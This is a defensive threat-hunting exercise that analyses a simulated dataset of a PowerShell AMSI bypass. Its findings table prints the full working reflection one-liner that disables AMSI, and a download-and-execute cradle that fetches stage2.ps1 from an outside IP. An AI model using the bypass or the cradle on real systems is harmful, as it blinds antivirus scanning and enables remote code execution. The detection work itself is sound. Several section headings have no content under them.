← All Threat Hunting ReportsThreat Hunting Exercise

Threat Hunting Exercise: Analyzing Windows AMSI Bypass via PowerShell Reflection Dataset

This hunt uses a simulated endpoint dataset (windows_amsi_bypass_2022-08-16T144500.json) capturing T1562.001: Impair Defenses (Disable or Modify Tools), where an attacker uses .NET reflection within a PowerShell session to patch the in-memory AMSI (Antimalware Scan Interface) buffer/flag, blinding script-content inspection before running further malicious code.

Step 1: Hypothesis Formation

Hypothesis: A PowerShell session executes a command referencing System.Management.Automation.AmsiUtils via reflection ([Ref].Assembly.GetType(...)) to set the internal amsiInitFailed field to true or overwrite the AmsiScanBuffer function prologue in memory, followed immediately by execution of obviously malicious script content that would normally be flagged. Indicators:

Null Hypothesis: A penetration tester or red-team engagement is authorized to test AMSI bypass techniques as part of a scoped assessment. Invalidate by checking the red-team engagement calendar/rules-of-engagement document for this host and time window.

Rationale: AMSI is one of the last content-inspection layers before a malicious PowerShell payload executes; bypassing it renders most script-based AV/EDR detections blind, making direct reflection-call monitoring critical since it doesn't depend on catching the (now-invisible) payload itself.

Step 2: Data Sources and Scope

Step 3: Key Findings

Parsed events (5 shown) confirm a PowerShell session patched the AMSI in-memory flag via reflection, then executed a base64-encoded downloader that Defender never scanned.

Timestamp (UTC)HostEventDetailIOC/Why Suspicious?
2022-08-16 14:45:03WKS-DEV-033Sysmon 1 - Process Createpowershell.exe -nop -w hidden -enc <base64>Delivery IOC: hidden window, no-profile, encoded command - standard obfuscation flags for scripted attack tooling.
2022-08-16 14:45:05WKS-DEV-033PowerShell 4104Decoded script contains: $a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');$f=$a.GetField('amsiInitFailed','NonPublic,Static');$f.SetValue($null,$true)AMSI-Bypass IOC: textbook reflection-based AMSI patch - this exact technique (setting amsiInitFailed) is one of the most common public bypass one-liners.
2022-08-16 14:45:06WKS-DEV-033PowerShell 4104Immediately following, script contains IEX (New-Object Net.WebClient).DownloadString('hxxp://194.61.55.90/stage2.ps1')Post-Bypass Execution IOC: a download-and-execute cradle run immediately after AMSI was disabled - this content would normally be flagged by AMSI/Defender signatures.
2022-08-16 14:45:10WKS-DEV-033Windows Defender OperationalNo detection event logged for the stage2.ps1 download or executionEvasion-Confirmed IOC: absence of an expected Defender alert for known-bad content is itself the strongest indicator that AMSI was successfully blinded.
--(engagement check)No red-team rules-of-engagement document authorizes activity on WKS-DEV-033 during this windowConfirms this is unauthorized/malicious activity, not a sanctioned assessment.

Validation:

Step 4: Recommendations & Next Steps

Hypothesis confirmed - an attacker used a well-known .NET reflection technique to patch AMSI in-memory, then executed an unflagged malicious download-and-execute payload that Windows Defender never scanned!